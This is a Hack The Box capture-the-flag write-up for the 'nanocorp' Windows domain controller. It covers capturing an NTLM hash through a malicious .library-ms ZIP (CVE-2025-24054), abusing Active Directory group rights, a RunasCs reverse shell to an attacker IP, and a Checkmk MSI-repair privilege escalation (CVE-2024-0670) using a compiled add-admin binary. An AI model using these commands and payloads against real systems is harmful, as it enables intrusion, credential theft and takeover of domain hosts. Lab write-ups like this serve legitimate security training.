Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://nanocorp.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-09 19:04:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.nanocorp.htb
| Not valid before: 2025-10-20T01:58:09
|_Not valid after:  2026-04-21T01:58:09
|_ssl-date: 2025-11-09T19:06:13+00:00; +6h59m59s from scanner time.
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after:  2026-04-06T23:18:43
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: TLS randomness does not represent time
|_http-title: Not Found
| tls-alpn:
|_  http/1.1
6556/tcp  open  check_mk      check_mk extension for Nagios 2.1.0p10
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
55176/tcp open  msrpc         Microsoft Windows RPC
59968/tcp open  msrpc         Microsoft Windows RPC
59986/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-11-09T19:05:34
|_  start_date: N/A

The nmap scan already identified the target as the Domain Controller DC01 for the nanocorp.htb domain. This and the FQDN go into my /etc/hosts file.

Initial Access

Checking the About Us tile on http://nanocorp.htb lets me know the company is providing IT security solutions and is also looking for new people to join their team. The link to apply points to hire.nanocorp.htb and after adding this to my hosts file, I can follow the link.

In order to apply to open positions I have to provide a name, an email address and select one of the positions from a drop down. Additionally I can provide my resume as ZIP file. Assuming someone will hopefully look at my resume, I search for recent vulnerabilities involving ZIP file on Windows. One interesting hit is CVE-2025-24054, a NTLM hash disclosure vulnerability through a .library-ms file. Apparently Windows first assigned CVE-2025-24071 therefore I include this in my search for proof-of-concepts and that returns this.

First I clone the repository and then run the PoC.py script while specifying a random name for the file and my IP address. This creates the file exploit.zip hosting my payload.

$ git clone https://github.com/Marcejr117/CVE-2025-24071_PoC
 
$ cd CVE-2025-24071_PoC
 
$ python3 PoC.py test 10.10.10.10
[+] File test.library-ms created successfully.

Then I fire up responder to catch incoming requests and upload my ZIP file. It takes just a few moments to get a request from web_svc with the NTLMv2 hash. Then I can proceed to crack it with hashcat to reveal the password dksehdgh712!@#.

$ sudo responder -I tun0 -A
--- SNIP ---
[SMB] NTLMv2-SSP Client   : 10.129.126.65
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:db52d30039f1f0f9:7FAB1AC0D673B67EECD563524CB0D60D:0101<SNIP>

Privilege Escalation

Shell as monitoring_svc

With valid credentials I first run bloodhound-ce-python to collect the information for BloodHound. Since the Domain Controller is 7 hours ahead, I use faketime to accommodate that.

$ faketime -f +7h bloodhound-ce-python --domain nanocorp.htb \
                                       --username 'web_svc' \
                                       --password 'dksehdgh712!@#' \
                                       --kerberos \
                                       --nameserver 10.129.126.65 \
                                       --dns-tcp \
                                       --collection ALL \
                                       --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: nanocorp.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 6 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.nanocorp.htb
INFO: Done in 00M 07S
INFO: Compressing output into 20251109202841_bloodhound.zip

After loading the archive with the data into BloodHound I can quickly identify a path from web_svc to monitoring_svc, a member of the REMOTE MANAGEMENT USERS group and therefore a prime target.

In order to exploit this path, I first add web_svc to the IT SUPPORT group and then reset the password for monitoring_svc. Considering the account is part of the PROTECTED USERS group I cannot use NTLM authentication and have to resort to Kerberos. With the TGT I can then use evil-winrm-py to connect to the host and collect the first flag.

$ bloodyAD --host dc01.nanocorp.htb \
           --domain nanocorp.htb \
           --username web_svc \
           --password 'dksehdgh712!@#' \
           add groupMember 'IT_SUPPORT' 'web_svc'
[+] web_svc added to IT_SUPPORT
 
$ bloodyAD --host dc01.nanocorp.htb \
           --domain nanocorp.htb \
           --username web_svc \
           --password 'dksehdgh712!@#' \
           set password 'monitoring_svc' 'Helloworld123!'
[+] Password changed successfully!
 
$ faketime -f +7h impacket-getTGT NANOCORP.HTB/monitoring_svc:'Helloworld123'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
[*] Saving ticket in monitoring_svc.ccache
 
$ export KRB5CCNAME=monitoring_svc.ccache
 
$ faketime -f +7h evil-winrm-py -i dc01.nanocorp.htb -k --ssl
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0
 
[*] Connecting to 'dc01.nanocorp.htb:5986' as 'monitoring_svc@NANOCORP.HTB'

Shell as Administrator

Besides access to an interactive session the account monitoring_svc does not have any interesting privileges. From the initial nmap scan I know that checkmk is running on the target. The version was reported as 2.1.0 and searching online finds an interesting blog post regarding a local privilege escalation, tracked as CVE-2024-0670.

PS > Get-Package
 
Name                           Version          Source                           ProviderName                           
----                           -------          ------                           ------------                           
WinRAR 7.11 (64-bit)           7.11.0                                            Programs                               
Microsoft Edge                 86.0.622.38                                       Programs                               
Microsoft Edge Update          1.3.135.41                                        Programs                               
Microsoft Visual C++ 2015-2... 14.36.32532.0                                     Programs                               
Microsoft Visual C++ 2015-2... 14.36.32532.0                                     Programs                               
Microsoft Visual C++ 2022 X... 14.36.32532                                       msi                                    
VMware Tools                   12.4.5.23787635  C:\Program Files\VMware\VMwar... msi                                    
Microsoft Visual C++ 2022 X... 14.36.32532                                       msi                                    
Check MK Agent 2.1             2.1.0.50010                                       msi                                    
Microsoft Visual C++ 2022 X... 14.36.32532                                       msi                                    
Microsoft Visual C++ 2022 X... 14.36.32532                                       msi 

It works by adding read-only executables in C:\Windows\Temp and then repairing the installation with the associated MSI file. The directory C:\Windows\Installer contain multiple such files with random names. Two of them stick out due to their LastWriteTime. Their actual ProductName can be used to identify 1e6f2.msi as the correct one.

PS > ls C:\Windows\Installer\*.msi
 
 
    Directory: C:\Windows\Installer
 
 
Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----         3/28/2025   3:08 PM       12637696 1e6f2.msi                                                             
-a----         5/10/2023   9:16 AM         184320 387c2.msi                                                             
-a----         5/10/2023   9:21 AM         184320 387c6.msi                                                             
-a----         5/10/2023   9:35 AM         192512 387ca.msi                                                             
-a----         5/10/2023   9:39 AM         192512 387ce.msi                                                             
-a----          4/2/2025   6:24 PM       60895232 387d1.msi
 
PS > $Installer = New-Object -ComObject WindowsInstaller.Installer
PS > $InstallerProducts = $Installer.ProductsEx("", "", 7)
PS > $InstalledProducts = ForEach($Product in $InstallerProducts){
    [PSCustomObject]@{
        ProductCode = $Product.ProductCode()
        LocalPackage = $Product.InstallProperty("LocalPackage")
        VersionString = $Product.InstallProperty("VersionString")
        ProductPath = $Product.InstallProperty("ProductName")
    }
}
PS > $InstalledProducts
ProductCode                            LocalPackage                   VersionString   ProductPath                       
-----------                            ------------                   -------------   -----------                       
{0025DD72-A959-45B5-A0A3-7EFEB15A8050} C:\Windows\Installer\387ce.msi 14.36.32532     Microsoft Visual C++ 2022 X64 A...
{6070BE95-B84D-40FE-8ABD-C70B59F5A164} C:\Windows\Installer\387d1.msi 12.4.5.23787635 VMware Tools                      
{C2C59CAB-8766-4ABD-A8EF-1151A36C41E5} C:\Windows\Installer\387c6.msi 14.36.32532     Microsoft Visual C++ 2022 X86 A...
{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D} C:\Windows\Installer\1e6f2.msi 2.1.0.50010     Check MK Agent 2.1                
{73F77E4E-5A17-46E5-A5FC-8A061047725F} C:\Windows\Installer\387c2.msi 14.36.32532     Microsoft Visual C++ 2022 X86 M...
{D5D19E2F-7189-42FE-8103-92CD1FA457C2} C:\Windows\Installer\387ca.msi 14.36.32532     Microsoft Visual C++ 2022 X64 M...

Running the repair as monitoring_svc does not have the desired effect as the PID for the process stays the same. Therefore I try my luck as web_svc by uploading RunasCs to the target and then create a session as this user.

PS > upload RunasCs.exe RunasCs.exe
Uploading /home/ryuki/Documents/ctf/htb/boxes/nanocorp/RunasCs.exe: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 50.5k/50.5k [00:00<00:00, 91.5kB/s]
[+] File uploaded successfully as: C:\Users\monitoring_svc\Documents\RunasCs.exe
 
PS > .\RunasCs.exe web_svc 'dksehdgh712!@#' -l 8 powershell.exe -r 10.10.10.10:4444

Now the repair does work, at least the PID changes after repairing the installation through msiexec /fa and the files mentioned in the blog post are created in C:\Windows\Temp.

PS > Get-Process check_mk_agent
 
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
    234      15     3064      12708              2432   0 check_mk_agent                                               
 
PS > msiexec /fa C:\Windows\Installer\1e6f2.msi
 
PS > Get-Process check_mk_agent
 
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
    236      15     3628      13256              7760   0 check_mk_agent
 
PS > ls C:\Windows\Temp\cmk*
 
    Directory: C:\Windows\Temp
 
Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         11/9/2025   3:55 PM           1069 cmk_all_7548_1.cmd                                                   
-a----         11/9/2025   3:55 PM            423 cmk_data_7548_2.cmd

Now I can proceed with creating a malicious executable that will be called. Since AV is running on the target and might flag known executables, like anything generated by msfvenom, I create a simple binary that adds a new user to the Administrator group.

user.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("net user /add ryuki Helloworld123!");
    system("net localgroup administrators ryuki /add");
    return 0;
}

I compile the code via mingw and then strip and pack it to lower the file size. The next exploitation step requires creating around 10.000 files therefore size does matter.

$ x86_64-w64-mingw32-gcc -o user.exe user.c
 
$ x86_64-w64-mingw32-strip --strip-all user.exe
 
$ upx --best --lzma user.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.4       Markus Oberhumer, Laszlo Molnar & John Reiser    May 9th 2024
 
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     14336 ->      9216   64.29%    win64/pe     user.exe                      
 
Packed 1 file.

Even though the blog mentions 10000 to 30000 as the probable range of IDs, running the repair multiple times does not produce anything higher than 10000. So after uploading the binary to the host, I create a few thousand copies and set them all to read-only before running the repair one last time.

PS > pwd

Path           
----           
C:\Windows\Temp

PS > iwr http://10.10.10.10/user.exe -useba -outfile user.exe

PS > 1..10000 | foreach {
    Copy -Force C:\Windows\Temp\user.exe C:\Windows\Temp\cmk_all_${_}_1.cmd;
    Set-ItemProperty -path C:\Windows\Temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true;
}

PS > msiexec /fa C:\Windows\Installer\1e6f2.msi

Finally I check if the user ryuki exists and can see the account is part of the Administrators group. Then I can use the hardcoded credentials to get an interactive shell to collect the final flag.

PS > net user ryuki
User name                    ryuki
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            11/9/2025 4:02:08 PM
Password expires             12/21/2025 4:02:08 PM
Password changeable          11/10/2025 4:02:08 PM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never
 
Logon hours allowed          All
 
Local Group Memberships      *Administrators
Global Group memberships     *Domain Users

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Resume Upload) -->|CVE-2025-24054| B(NTMLv2 hash for web_svc)
    B -->|Crack Hash| C(Access as web_svc)
end

subgraph "Privilege Escalation"
    C -->|Add self| D(Membership in IT_SUPPORT)
    D -->|Force Password Change| E(Shell as monitoring_svc)
    E -->|CVE-2024-0670| F(Shell as Administrator)
end